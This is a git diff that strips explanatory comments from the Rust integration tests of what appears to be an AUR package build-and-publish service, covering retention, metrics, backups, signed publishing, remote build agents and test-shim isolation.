@@ -169,7 +159,6 @@ fn i11_nothing_publishable_is_ever_silently_dropped() {
),
"{name}: first detection produced {first:?}"
);
- // Every notice is a row, not just a return value.
let notices = db::list_notices(&env.db, false).unwrap();
if let detect::Outcome::Notice { kind, .. } = &first {
assert!(
@@ -177,7 +166,6 @@ fn i11_nothing_publishable_is_ever_silently_dropped() {
"{name}: a {kind} outcome left no notice row"
);
}
- // Now move something and re-detect: still never silent.
let _ = fx.bump(&[("pkgrel", "99")]);
let second = detect_outcome(&env, name);
assert!(
diff --git a/tests/ops.rs b/tests/ops.rs
index 8fc6308..821b733 100644
--- a/tests/ops.rs
+++ b/tests/ops.rs
@@ -18,7 +18,6 @@ fn approve_and_build(env: &Env, name: &str) {
pipeline::run(&env.cfg, &env.db, &id).unwrap();
}
-/// Publish the same pkgbase N times, each at a higher version.
fn publish_versions(env: &Env, fx: &Fixture, name: &str, n: usize) {
approve_and_build(env, name);
for i in 1..n {
@@ -55,7 +54,6 @@ fn retention_keeps_the_newest_n_versions_and_never_deletes_a_row() {
assert_eq!(report.releases_evicted, 3, "5 versions, keep 2: {report:?}");
assert!(report.files_removed >= 3, "each evicted release removes its package: {report:?}");
- // The newest two survive; the older three lose their bytes.
let kept: Vec<PathBuf> = env
.db
.read(|c| {
@@ -76,8 +74,6 @@ fn retention_keeps_the_newest_n_versions_and_never_deletes_a_row() {
assert!(!p.exists(), "an evicted artifact should be gone: {}", p.display());
}
- // Nothing was forgotten: the rows are all still there, marked as purged rather
- // than removed (§15).
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(5));
assert_eq!(env.query_i64("SELECT count(*) FROM artifact", &[]), Some(5));
assert_eq!(
@@ -88,7 +84,6 @@ fn retention_keeps_the_newest_n_versions_and_never_deletes_a_row() {
env.query_i64("SELECT count(*) FROM release WHERE purged_at IS NOT NULL", &[]),
Some(3)
);
- // And the run itself is on the record.
assert_eq!(env.query_i64("SELECT count(*) FROM gc_run", &[]), Some(1));
assert!(env.query_i64("SELECT count(*) FROM audit WHERE action='retention'", &[]) == Some(1));
}
@@ -108,9 +103,6 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() {
})
.unwrap();
let files = ops::release_files(&env.cfg, &env.db, oldest).unwrap();
- // Compare against what the database says the release holds: the store is
- // content-addressed, so "does it look like a package" is not a question the
- // path can answer.
let held: Vec<(Option<String>, Option<String>, Option<String>)> = env
.db
.read(|c| {
@@ -139,8 +131,6 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() {
assert!(Path::new(p).exists(), "the {what} should exist before eviction");
}
- // Eviction removes them together: a package whose log is gone but whose bytes
- // remain is full price for no explanation.
ops::retention(&env.cfg, &env.db, Some(1)).unwrap();
let still_there: Vec<&PathBuf> = files.iter().filter(|f| f.exists()).collect();
assert!(
@@ -151,8 +141,6 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() {
#[test]
fn retention_never_evicts_the_version_the_index_is_serving() {
- // The accepted release is *not* the newest one here; a naive "keep the newest
- // N" would delete the bytes the index points at.
let (env, fx) = env_with_fixture("plain-make");
publish_versions(&env, &fx, "plain-make", 2);
let served = env
@@ -176,8 +164,6 @@ fn retention_never_evicts_the_version_the_index_is_serving() {
})
.unwrap();
- // Publish a third version, then pretend the index still serves the first by
- // withdrawing the newer ones from the index.
env.exec("UPDATE package SET state='removed' WHERE state='in_index'", &[]);
env.exec(
"UPDATE package SET state='in_index' WHERE release_id=?1",
@@ -196,11 +182,8 @@ fn staging_dirs_are_swept_only_when_their_build_is_finished() {
let (env, fx) = env_with_fixture("plain-make");
approve_and_build(&env, "plain-make");
- // An old dir belonging to a finished build: disposable.
let done = env.cfg.staging_dir().join("finished-build");
- // An old dir with no build row at all: left over from a crash.
let orphan = env.cfg.staging_dir().join("no-such-build");
- // An old dir whose build is still running: NOT disposable, however old it is.
let live = env.cfg.staging_dir().join("live-build");
for d in [&done, &orphan, &live] {
std::fs::create_dir_all(d).unwrap();
@@ -226,17 +209,14 @@ fn staging_dirs_are_swept_only_when_their_build_is_finished() {
fn metrics_reports_the_operating_numbers_in_prometheus_format() {
let (env, fx) = env_with_fixture("plain-make");
approve_and_build(&env, "plain-make");
- // Leave one review unapproved so there is review debt to measure.
fx.bump(&[("pkgver", "9.9")]);
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap();
- // And a queued build that has never run, so queue depth is not vacuously zero.
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
let _ = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c);
let m = ops::metrics(&env.cfg, &env.db).unwrap();
let text = m.to_prometheus();
- // Every family the contract names, each parseable as a Prometheus sample.
for family in [
"aurbuild_queue_depth",
"aurbuild_pending_review_candidates",
@@ -281,8 +261,6 @@ fn metrics_reports_the_operating_numbers_in_prometheus_format() {
#[test]
fn a_fresh_install_reports_a_clean_sheet_not_a_division_by_zero() {
- // A brand-new install has no builds at all: success rate has to be something an
- // alert rule can read, not NaN and not 0%.
let env = Env::new();
let m = ops::metrics(&env.cfg, &env.db).unwrap();
assert_eq!(m.succeeded + m.failed, 0);
@@ -297,7 +275,6 @@ fn the_http_metrics_endpoint_serves_scrapeable_text() {
assert_eq!(page.status, 200);
assert!(page.body.contains("# TYPE aurbuild_queue_depth gauge"));
assert!(page.body.contains("aurbuild_sqlite_wal_size_bytes"));
- // No session needed: a scraper cannot log in. Check it with a bare socket.
let (headers, body) = web.raw_get("/metrics");
assert!(body.contains("aurbuild_up 1"), "metrics should be reachable unauthenticated");
let ct = headers
@@ -316,13 +293,10 @@ fn backup_is_a_consistent_single_file_that_reopens_and_matches() {
let out = ops::backup(&env.db, &dest).unwrap();
assert_eq!(out, dest);
- // A single file: `VACUUM INTO` produces a compacted database with no WAL.
assert!(dest.exists());
assert!(!Path::new(&format!("{}-wal", dest.display())).exists(), "a backup must not need a sidecar");
assert!(!Path::new(&format!("{}-shm", dest.display())).exists());
- // It is a real database with the same schema and the same crown jewel: the
- // approval trail.
let probe = rusqlite::Connection::open(&dest).unwrap();
let version: i64 = probe.query_row("PRAGMA user_version", [], |r| r.get(0)).unwrap();
assert!(version >= 8, "the snapshot carries the migrated schema, got {version}");
@@ -332,7 +306,6 @@ fn backup_is_a_consistent_single_file_that_reopens_and_matches() {
assert_eq!(releases, 1);
drop(probe);
- // The live database is untouched and still in WAL mode.
let mode: String = env
.db
.read(|c| Ok(c.query_row("PRAGMA journal_mode", [], |r| r.get::<_, String>(0))?))
@@ -343,8 +316,6 @@ fn backup_is_a_consistent_single_file_that_reopens_and_matches() {
#[test]
fn backup_refuses_to_overwrite_an_existing_snapshot() {
- // A backup that silently replaces last week's backup is a way of losing the
- // only copy on the day you need it.
let (env, _fx) = env_with_fixture("plain-make");
approve_and_build(&env, "plain-make");
let dest = env.root().join("snap.db");
@@ -355,7 +326,6 @@ fn backup_refuses_to_overwrite_an_existing_snapshot() {
assert!(std::fs::metadata(&dest).unwrap().len() > 0);
}
-/// Set a directory's mtime into the past, so the grace period can be exercised.
fn backdate(path: &Path, secs: u64) {
let old = std::time::SystemTime::now() - std::time::Duration::from_secs(secs);
for f in std::fs::read_dir(path).into_iter().flatten().flatten() {
diff --git a/tests/pipeline.rs b/tests/pipeline.rs
index 6dd1df5..12d95b0 100644
--- a/tests/pipeline.rs
+++ b/tests/pipeline.rs
@@ -5,7 +5,6 @@ use aur_build::pipeline::{self, publish};
use aur_build::review::{approve, candidates, diff};
use common::*;
-/// subscribe -> detect -> render the review -> approve.
fn approve_fixture(env: &Env, name: &str) -> CandidateRow {
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap();
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
@@ -14,7 +13,6 @@ fn approve_fixture(env: &Env, name: &str) -> CandidateRow {
candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap()
}
-/// Re-detect and approve whatever is pending now (a later version).
fn approve_pending(env: &Env, name: &str) -> CandidateRow {
approve_fixture(env, name)
}
@@ -65,14 +63,12 @@ fn end_to_end_publishes_a_signed_index() {
assert_eq!(rel.pkgver, "1.0");
assert_eq!(rel.version(), "1.0-1");
- // Both the packages and the database are signed (§9).
let arch = env.cfg.repo_arch_dir();
assert!(arch.join("plain-make-1.0-1-x86_64.pkg.tar.zst").exists());
assert!(arch.join("plain-make-1.0-1-x86_64.pkg.tar.zst.sig").exists());
assert!(arch.join("aur-build.db.tar.gz").exists());
assert!(arch.join("aur-build.db.tar.gz.sig").exists());
- // One checkpoint row per step, all green (§8.1).
let all = step_rows(&env);
assert_eq!(all.len(), BUILD_STEPS.len(), "one row per step: {all:?}");
assert!(
@@ -83,9 +79,6 @@ fn end_to_end_publishes_a_signed_index() {
#[test]
fn the_build_never_signs_ingest_does() {
- // Signing moved hub-side: the build command carries no `-si` and the signature
- // over each artifact is made at ingest by the hub's own gpg. Worst the sandbox
- // ever returns is unsigned bytes.
let (env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
assert!(matches!(run_for(&env, &c), pipeline::Outcome::Succeeded { .. }));
@@ -114,8 +107,6 @@ fn the_build_never_signs_ingest_does() {
#[test]
fn a_tampered_store_artifact_fails_the_lease_closed() {
- // Corrupt the store bytes after publication: provisioning re-hashes everything
- // it stages and must refuse, not build against bytes the index never approved.
let (env, _plain, _client) = env_with_two_fixtures("plain-make", "dep-client");
let c = approve_fixture(&env, "plain-make");
assert!(matches!(run_for(&env, &c), pipeline::Outcome::Succeeded { .. }));
@@ -145,8 +136,6 @@ fn a_tampered_store_artifact_fails_the_lease_closed() {
other => panic!("{other:?}"),
}
- // Restore the bytes and resume: the lease verifies, the sandbox's `pacman -Q`
- // confirms the pinned world landed, and the build completes.
std::fs::write(&path, &original).unwrap();
assert!(
matches!(pipeline::run(&env.cfg, &env.db, &id2).unwrap(), pipeline::Outcome::Succeeded { .. }),
@@ -191,7 +180,6 @@ fn i8_served_index_holds_exactly_the_accepted_pointers() {
let c2 = approve_pending(&env, "plain-make");
run_for(&env, &c2);
- // The old version is gone from the index, not merely superseded in place.
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0.1-1".into())]);
let rel = db::accepted_release(&env.db, "plain-make").unwrap().unwrap();
assert_eq!(rel.pkgver, "1.0.1");
@@ -212,8 +200,6 @@ fn i8_served_index_holds_exactly_the_accepted_pointers() {
fn step0_fails_closed_when_the_recipe_hash_drifts() {
let (env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
- // The mirror no longer matches what was approved. There is no path from
- // "AUR moved since the review" to "we built it anyway" (I3).
env.exec(
"UPDATE snapshot SET recipe_hash='deadbeef' WHERE id=?1",
&params(vec![c.snapshot_id]),
@@ -235,8 +221,6 @@ fn step4_fails_closed_when_pkgver_no_longer_matches() {
let (env, fx) = env_with_fixture("git-sourced");
let c = approve_fixture(&env, "git-sourced");
assert_eq!(c.pkgver, "r1.0");
- // Upstream moves after approval: the tool now resolves a different pkgver.
- // The build must refuse rather than silently ship the newer one (§8.1).
let mut m = fx.manifest_json();
m["vercheck"] = serde_json::json!("r9.9-1");
std::fs::write(&fx.manifest, serde_json::to_string(&m).unwrap()).unwrap();
@@ -273,8 +257,6 @@ fn i4_kill_mid_publish_leaves_the_old_index_intact() {
let out = run_for(&env, &c2);
assert!(matches!(out, pipeline::Outcome::Failed { .. }), "{out:?}");
- // The served database is byte-for-byte the old one, and the DB never recorded
- // the new release: consumers saw either the old world or the new one (I4).
assert_eq!(std::fs::read(&v1).unwrap(), before);
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]);
assert_eq!(
@@ -301,8 +283,6 @@ fn i5_a_restarted_build_resumes_at_the_next_incomplete_step() {
aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", "");
assert_eq!(builds_after_crash, 2, "one real build before the crash");
- // "Restart": same build row, no fault. Only publish re-runs; the expensive
- // steps are checkpointed.
env.clear_publish_fault();
match pipeline::run(&env.cfg, &env.db, &id).unwrap() {
pipeline::Outcome::Succeeded { release_id } => assert!(release_id > 0),
@@ -314,7 +294,6 @@ fn i5_a_restarted_build_resumes_at_the_next_incomplete_step() {
"I5: resuming must not rebuild"
);
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0.1-1".into())]);
- // Exactly one release row per version: no duplicates from the resume.
assert_eq!(
env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]),
Some(1)
@@ -329,7 +308,6 @@ fn split_pkgbase_is_one_approval_and_many_index_rows() {
let names: Vec<String> = in_index(&env).into_iter().map(|(n, _)| n).collect();
assert!(names.contains(&"split-pkgbase".to_string()), "{names:?}");
assert!(names.contains(&"split-pkgbase-docs".to_string()), "{names:?}");
- // One approval, one release, N packages — the §3 split-pkgbase rule.
assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1));
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(1));
}
@@ -342,14 +320,12 @@ fn a_failed_build_leaves_the_previous_version_serving() {
fx.bump(&[("pkgver", "1.0.1")]);
let c2 = approve_pending(&env, "plain-make");
- // The build itself fails this time.
env.set_shim_fail("makepkg");
let out = run_for(&env, &c2);
match out {
pipeline::Outcome::Failed { step, .. } => assert_eq!(step, "build"),
other => panic!("{other:?}"),
}
- // §8.4: the old version keeps serving and the candidate stays approved.
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]);
assert_eq!(
candidates::candidate_by_id(&env.db, c2.id).unwrap().unwrap().state,
@@ -364,8 +340,6 @@ fn a_failed_build_leaves_the_previous_version_serving() {
#[test]
fn an_unresolvable_dependency_blocks_instead_of_failing() {
let (env, _fx) = env_with_fixture("missing-dep");
- // We subscribe to `dep-partner` but have never published it: "unresolvable" in
- // §10.4 means wait, not fail.
env.subscribe("dep-partner");
let c = approve_fixture(&env, "missing-dep");
let out = run_for(&env, &c);
@@ -388,8 +362,6 @@ fn a_blocked_build_waits_until_its_dependency_actually_arrives() {
let c = approve_fixture(&env, "missing-dep");
assert!(matches!(run_for(&env, &c), pipeline::Outcome::Blocked { .. }));
assert_eq!(builds::blocked_builds(&env.db).unwrap().len(), 1);
- // The dispatcher sweeps blocked builds every pass. Requeueing one whose blocker
- // is still missing would block again immediately, so it must stay put.
let _ = publish::reconcile(&env.cfg, &env.db);
assert_eq!(builds::requeue_blocked(&env.db).unwrap(), 0, "requeued while still blocked");
assert_eq!(builds::blocked_builds(&env.db).unwrap().len(), 1);
@@ -417,7 +389,6 @@ fn i6_manual_rebuild_reuses_the_approved_identity() {
pipeline::run(&env.cfg, &env.db, &id).unwrap(),
pipeline::Outcome::Succeeded { .. }
));
- // Same version, new release row, and crucially: no new approval (§2 I6).
assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), before);
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]);
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(2));
@@ -429,8 +400,6 @@ fn i12_world_snapshot_is_recorded_at_ingest() {
let c = approve_fixture(&env, "plain-make");
run_for(&env, &c);
- // Now a second build whose chroot had our own published package installed:
- // that is the pair staleness tracking is computed from (§10.1).
let mut m = fx.manifest_json();
m["installed"] = serde_json::json!([
{"name": "plain-make", "version": "1.0-1", "arch": "x86_64"},
@@ -468,8 +437,6 @@ fn i12_world_snapshot_is_recorded_at_ingest() {
)
})
.collect();
- // The snapshot is the installed set INTERSECTED with our own packages:
- // unfiltered, Arch moving would make every package permanently stale.
assert!(members.iter().any(|(n, v)| n == "plain-make" && v == "1.0-1"), "{members:?}");
assert!(!members.iter().any(|(n, _)| n == "glibc"), "{members:?}");
}
@@ -479,8 +446,6 @@ fn publish_refuses_without_an_approval_behind_it() {
let (env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
run_for(&env, &c);
- // Approval rows are immutable (I10 / §7.2), so the bad state is built from the
- // other side: a release with nothing behind it.
let rid = db::accepted_release(&env.db, "plain-make").unwrap().unwrap().id;
env.exec("UPDATE release SET approval_id=NULL WHERE id=?1", &params(vec![rid]));
let id = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap();
@@ -491,7 +456,6 @@ fn publish_refuses_without_an_approval_behind_it() {
}
other => panic!("I1 requires a refusal, got {other:?}"),
}
- // The index still holds exactly the one entry that does have an approval.
assert_eq!(in_index(&env).len(), 1);
}
@@ -500,8 +464,6 @@ fn a_stale_accepted_pointer_refuses_to_publish() {
let (env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
- // The approval was taken against "nothing accepted yet". Move the pointer
- // out from under the build and the compare-and-swap must refuse.
env.exec(
"UPDATE pkgbase SET current_accepted_release_id=4242 WHERE name='plain-make'",
&[],
@@ -520,7 +482,6 @@ fn a_stale_accepted_pointer_refuses_to_publish() {
#[test]
fn withdrawing_a_release_twice_is_refused_the_second_time() {
- // m-10: the second withdraw used to report success while rewriting nothing.
let (env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
run_for(&env, &c);
@@ -530,14 +491,11 @@ fn withdrawing_a_release_twice_is_refused_the_second_time() {
assert!(err.to_string().contains("not published"), "{err}");
let err = approve::withdraw(&env.db, "tester", rid + 999, "x").unwrap_err();
assert!(err.to_string().contains("no release"), "{err}");
- // The first withdrawal stands: the index no longer serves it.
assert!(in_index(&env).is_empty(), "the withdrawn release is still in the index");
}
#[test]
fn a_publish_that_does_not_land_leaves_no_orphan_files_in_the_served_tree() {
- // m-16: the artifacts are copied into the served tree before the DB commit,
- // and when the commit refused those bytes used to stay.
let (mut env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
env.set_publish_fault("before-rename");
@@ -554,8 +512,6 @@ fn a_publish_that_does_not_land_leaves_no_orphan_files_in_the_served_tree() {
.collect();
assert!(stray.is_empty(), "a publish that did not land left files behind: {stray:?}");
- // And the retry still works: the artifacts come from the collect dir, not the
- // served tree.
env.clear_publish_fault();
assert!(
matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. }),
diff --git a/tests/production_surface.rs b/tests/production_surface.rs
index e4e1346..c5d7353 100644
--- a/tests/production_surface.rs
+++ b/tests/production_surface.rs
@@ -24,8 +24,6 @@ fn no_production_module_references_the_shim_harness() {
let mut offenders: Vec<String> = Vec::new();
for file in files {
let rel = file.strip_prefix(&root).unwrap_or(&file).to_string_lossy().replace('\\', "/");
- // The harness itself, and the shim binaries that are its front ends, are
- // allowed to know about it.
if rel.starts_with("shims") || rel.starts_with("bin/") {
continue;
}
@@ -49,8 +47,6 @@ fn no_production_module_references_the_shim_harness() {
#[test]
fn the_served_index_has_exactly_one_serialization_lock() {
- // §6 M-5: two mutexes in `publish.rs`, each documented as *the* "one publish
- // per repo" guarantee, is worse than either answer. There is one lock now.
let src = std::fs::read_to_string(Path::new(env!("CARGO_MANIFEST_DIR")).join("src/pipeline/publish.rs"))
.expect("read publish.rs");
let mutexes = src
@@ -59,7 +55,6 @@ fn the_served_index_has_exactly_one_serialization_lock() {
.collect::<Vec<_>>();
assert_eq!(mutexes.len(), 1, "publish.rs must declare exactly one serialization mutex, found {mutexes:?}");
assert!(!src.contains("PUBLISH_LOCK"), "the second lock must stay deleted");
- // And both writers of the served index take it, not just one of them.
let acquisitions = src
.lines()
.filter(|l| l.contains("lock_repo()") && !l.trim_start().starts_with("fn "))
@@ -88,8 +83,6 @@ fn the_shim_binaries_are_test_only() {
#[test]
fn the_test_hooks_are_a_gated_submodule_not_config_fields() {
- // §6 M-9: fault injection in the publish hot path, shim environment variables
- // and clock pinning were part of the production API surface.
let cfg_src = read("src/config.rs");
for field in [
"pub path_prepend",
@@ -100,7 +93,6 @@ fn the_test_hooks_are_a_gated_submodule_not_config_fields() {
"pub shim_kill_parent",
"pub shim_plant_link",
] {
- // Each appears exactly once, inside `TestHooks`, never on `Config`.
let hits = cfg_src.matches(field).count();
assert_eq!(hits, 1, "{field} must be declared once, on TestHooks — not on Config");
}
@@ -113,8 +105,6 @@ fn the_test_hooks_are_a_gated_submodule_not_config_fields() {
#[test]
fn the_publish_hot_path_has_no_ungated_test_branch() {
- // The two fault-injection points in `publish()` must sit behind the feature
- // gate.
let src = read("src/pipeline/publish.rs");
let lines: Vec<&str> = src.lines().collect();
let mut gated = 0;
@@ -134,8 +124,6 @@ fn the_publish_hot_path_has_no_ungated_test_branch() {
#[test]
fn a_default_config_has_no_hooks_attached() {
- // The state every real process runs in: nothing hooked, and nothing written
- // to config.json about hooks.
let cfg = aur_build::config::Config::default();
assert!(cfg.hooks.is_empty());
let json = serde_json::to_string(&cfg).unwrap();
@@ -144,8 +132,6 @@ fn a_default_config_has_no_hooks_attached() {
#[test]
fn the_review_modules_do_not_keep_private_copies_of_the_rules() {
- // §6 m-2: `hosts` existed twice, verbatim, and the "did the executable part of
- // the recipe change" rule existed twice with *different* semantics.
for (file, forbidden) in [
("src/review/diff.rs", ["fn hosts(", "fn body_changed("]),
("src/review/risk.rs", ["fn hosts(", "fn body_changed("]),
@@ -163,8 +149,6 @@ fn the_review_modules_do_not_keep_private_copies_of_the_rules() {
#[test]
fn audit_rows_are_built_by_the_constructors_not_by_hand() {
- // §6 m-4: three review sites hand-built `AuditEntry` literals, each with its
- // own `detail` shape.
let src = read("src/review/approve.rs");
assert!(!src.contains("db::AuditEntry {"), "audit rows must be built by AuditEntry::human/system");
assert_eq!(src.matches("AuditEntry::human(").count(), 3, "approve, reject and withdraw");
diff --git a/tests/remote_agent.rs b/tests/remote_agent.rs
index af4ac60..534b346 100644
--- a/tests/remote_agent.rs
+++ b/tests/remote_agent.rs
@@ -32,27 +32,22 @@ fn a_full_build_runs_over_the_agent_protocol() {
let addr = backend.local_addr().to_string();
ctx.backend = Arc::new(backend);
- // The sandbox dials the hub; the hub never dials it.
let mut agent = std::process::Command::new(agent_bin())
.args(["--hub", &addr, "--token", "test-token", "--ttl", "30"])
.spawn()
.expect("spawn sandbox-agent");
let out = pipeline::run_with(&ctx).unwrap();
- // Kill *and* reap: an unreaped child is a zombie the next test inherits.
let _ = agent.kill();
let _ = agent.wait();
assert!(matches!(out, pipeline::Outcome::Succeeded { .. }), "{out:?}");
- // The agent-streamed output landed in the same file the SSE tail reads.
let log = std::fs::read_to_string(env.cfg.build_log_path(&id)).unwrap();
assert!(
log.contains("Making package"),
"agent-streamed output must reach the build log:\n{log}"
);
- // The build really ran as the agent's child, with the shim protocol applied
- // from the Run frame's environment.
let shimlog = env.cfg.hooks.shim_dir.clone().unwrap();
assert_eq!(aur_build::shims::called_with(&shimlog, "makepkg", ""), 1);
}
@@ -79,7 +74,6 @@ fn blobs_round_trip_over_the_wire_and_a_bad_token_is_refused() {
sbx.destroy().unwrap();
let _ = good.wait();
- // A stranger's box is refused at the rendezvous, not leased and hoped about.
let mut bad = std::process::Command::new(agent_bin())
.args(["--hub", &addr, "--token", "wrong-token", "--ttl", "30"])
.spawn()
@@ -92,10 +86,6 @@ fn blobs_round_trip_over_the_wire_and_a_bad_token_is_refused() {
let _ = bad.wait();
}
-// One listener per process. Constructing a remote backend bound the agent
-// listener, so a second concurrent build on a fixed `listen` died of EADDRINUSE
-// for a reason that had nothing to do with its package.
-
fn remote_cfg(listen: &str, token: &str) -> aur_build::config::Config {
aur_build::config::Config {
sandbox: aur_build::config::Sandbox::Remote {
@@ -107,8 +97,6 @@ fn remote_cfg(listen: &str, token: &str) -> aur_build::config::Config {
}
}
-/// A port nothing is holding, so two backends can be asked for the *same* fixed
-/// address — the only case where double-binding shows up.
fn free_port() -> u16 {
let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
@@ -125,17 +113,12 @@ fn two_builds_share_one_agent_listener() {
let (sa, sb) = (&a.status().unwrap()[0].id, &b.status().unwrap()[0].id);
assert_eq!(sa, sb, "both must report the one listener: {sa} vs {sb}");
assert!(sa.contains(&addr), "and it must be the configured address: {sa}");
- // Why the sharing matters, asserted rather than assumed: a raw second bind on a
- // listening address is EADDRINUSE. If this ever passes, the test above is
- // vacuous.
assert!(
std::net::TcpListener::bind(&addr).is_err(),
"a second bind on {addr} must fail, or nothing here proves anything"
);
}
-/// Sharing the listener means sharing the queue of dial-ins: an agent dials in when
-/// the operator boots one, and whichever build is waiting takes it.
#[test]
fn a_dial_in_goes_to_whichever_backend_is_waiting() {
let addr = format!("127.0.0.1:{}", free_port());
@@ -155,8 +138,6 @@ fn a_dial_in_goes_to_whichever_backend_is_waiting() {
assert!(sbx.is_ok(), "the second backend must be able to take the dial-in: {:?}", sbx.err());
}
-/// Two tokens cannot share a listener, and quietly reusing the first one's would
-/// be a fail-open surprise — so the second bind is attempted and fails loudly.
#[test]
fn a_different_token_on_the_same_address_is_refused_not_shared() {
let addr = format!("127.0.0.1:{}", free_port());
@@ -165,7 +146,6 @@ fn a_different_token_on_the_same_address_is_refused_not_shared() {
assert!(second.is_err(), "two tokens on one address must not silently share a listener");
}
-/// The contract in its literal shape: two workers, two builds, one listener.
#[test]
fn two_concurrent_builds_do_not_fight_over_the_listener() {
let addr = format!("127.0.0.1:{}", free_port());
diff --git a/tests/schema_ownership.rs b/tests/schema_ownership.rs
index 07345dd..944038c 100644
--- a/tests/schema_ownership.rs
+++ b/tests/schema_ownership.rs
@@ -1,15 +1,10 @@
use std::path::{Path, PathBuf};
-/// String literals that begin a statement. Matched on the quote so a prose
-/// comment that mentions a `SELECT` cannot trip it, and comment lines are
-/// skipped anyway.
const SQL_LITERALS: &[&str] = &[
"\"SELECT", "\"select", "\"INSERT", "\"insert", "\"UPDATE", "\"update", "\"DELETE", "\"delete",
"\"PRAGMA", "\"WITH",
];
-/// rusqlite entry points. Outside `db/` there is nothing legitimate to hand
-/// them, since every statement string is supposed to live in `db/`.
const STATEMENT_CALLS: &[&str] = &[
".query_row(", ".query_map(", ".execute(", ".execute_batch(", ".prepare(", ".pragma_query_value(",
];
@@ -35,7 +30,6 @@ fn no_sql_statements_outside_the_db_module() {
let mut offenders: Vec<String> = Vec::new();
for file in files {
let rel = file.strip_path(&root);
- // The owner of the schema is allowed to contain SQL.
if rel.starts_with("db/") || rel.starts_with("db\\") {
continue;
}
@@ -60,10 +54,6 @@ fn no_sql_statements_outside_the_db_module() {
);
}
-/// m-18: the version a human reads is `pkgver::full_version`'s to produce —
-/// `epoch:pkgver-pkgrel`, with the epoch omitted when it is `0` or empty. That rule
-/// used to exist twice, once in Rust and once in SQL. SQL selects the parts; Rust
-/// formats them.
#[test]
fn only_rust_formats_a_version() {
let root = Path::new(env!("CARGO_MANIFEST_DIR"));
@@ -87,8 +77,6 @@ fn only_rust_formats_a_version() {
);
}
-/// `src/db/queries.rs` → `db/queries.rs`, so the failure message points at the
-/// module rather than an absolute path.
trait StripPath {
fn strip_path(&self, root: &Path) -> String;
}
diff --git a/tests/shims.rs b/tests/shims.rs
index d06a81e..5cc0167 100644
--- a/tests/shims.rs
+++ b/tests/shims.rs
@@ -7,7 +7,6 @@ use common::{corpus_root, env_with_fixture, shim_dir, Env, Web};
use aur_build::shims;
-/// Run a shim binary with the harness protocol in the environment.
fn shim(tool: &str, cwd: &Path, envs: &[(&str, &Path)], args: &[&str]) -> (i32, String, String) {
let exe = shim_dir().join(tool);
assert!(exe.exists(), "shim {tool} not built at {}", exe.display());
@@ -45,7 +44,6 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() {
let log = tmp.path().join("shimlog");
std::fs::create_dir_all(&log).unwrap();
- // Exactly the invocation §8.1 step 5 makes.
let chroot_args = ["-c", "-r", "chroot", "--", "-siTESTKEY", "-f"];
let (code, out, err) = shim(
"makechrootpkg",
@@ -58,7 +56,6 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() {
let pkg = build.join("plain-make-1.0-1-x86_64.pkg.tar.zst");
assert!(pkg.exists(), "artifact left in the build dir like the real tool does");
let bytes = std::fs::read(&pkg).unwrap();
- // Read the artifact with the production parser, not a shim-only one (§6 M-4).
let pkginfo = aur_build::pkginfo::pkginfo_text(&bytes).unwrap();
assert!(pkginfo.contains("pkgname = plain-make"));
assert!(pkginfo.contains("pkgver = 1.0-1"));
@@ -80,8 +77,6 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() {
#[test]
fn makechrootpkg_refuses_a_missing_pkgbuild() {
- // Step 0 materializes from the mirror; if that silently produced nothing, the
- // fake tool must notice rather than build an empty package.
let tmp = tempfile::tempdir().unwrap();
let build = tmp.path().join("build");
std::fs::create_dir_all(&build).unwrap();
@@ -140,7 +135,6 @@ fn repo_add_writes_a_pacman_database() {
assert!(out.status.success(), "{}", String::from_utf8_lossy(&out.stderr));
assert!(db.exists(), "database written");
- // The db is a gzip'd tar with one DESC per package — what pacman downloads.
let dec = flate2::read::GzDecoder::new(std::fs::File::open(&db).unwrap());
let mut ar = tar::Archive::new(dec);
let names: Vec<String> = ar
@@ -170,8 +164,6 @@ fn repo_add_writes_a_pacman_database() {
#[test]
fn pacman_u_verifies_digests_and_q_reports_the_world() {
- // The provisioning step's fail-closed world check runs against this fake: `-U`
- // must refuse bytes that do not hash to the digest their name claims.
let tmp = tempfile::tempdir().unwrap();
let log = tmp.path().join("shimlog");
std::fs::create_dir_all(&log).unwrap();
@@ -201,8 +193,6 @@ fn pacman_u_verifies_digests_and_q_reports_the_world() {
assert_eq!(code, 0);
assert!(out.contains("plain-make 1.0-1"), "the world check reads -Q: {out}");
- // A blob whose bytes do not match the digest its name claims is refused like a
- // bad signature.
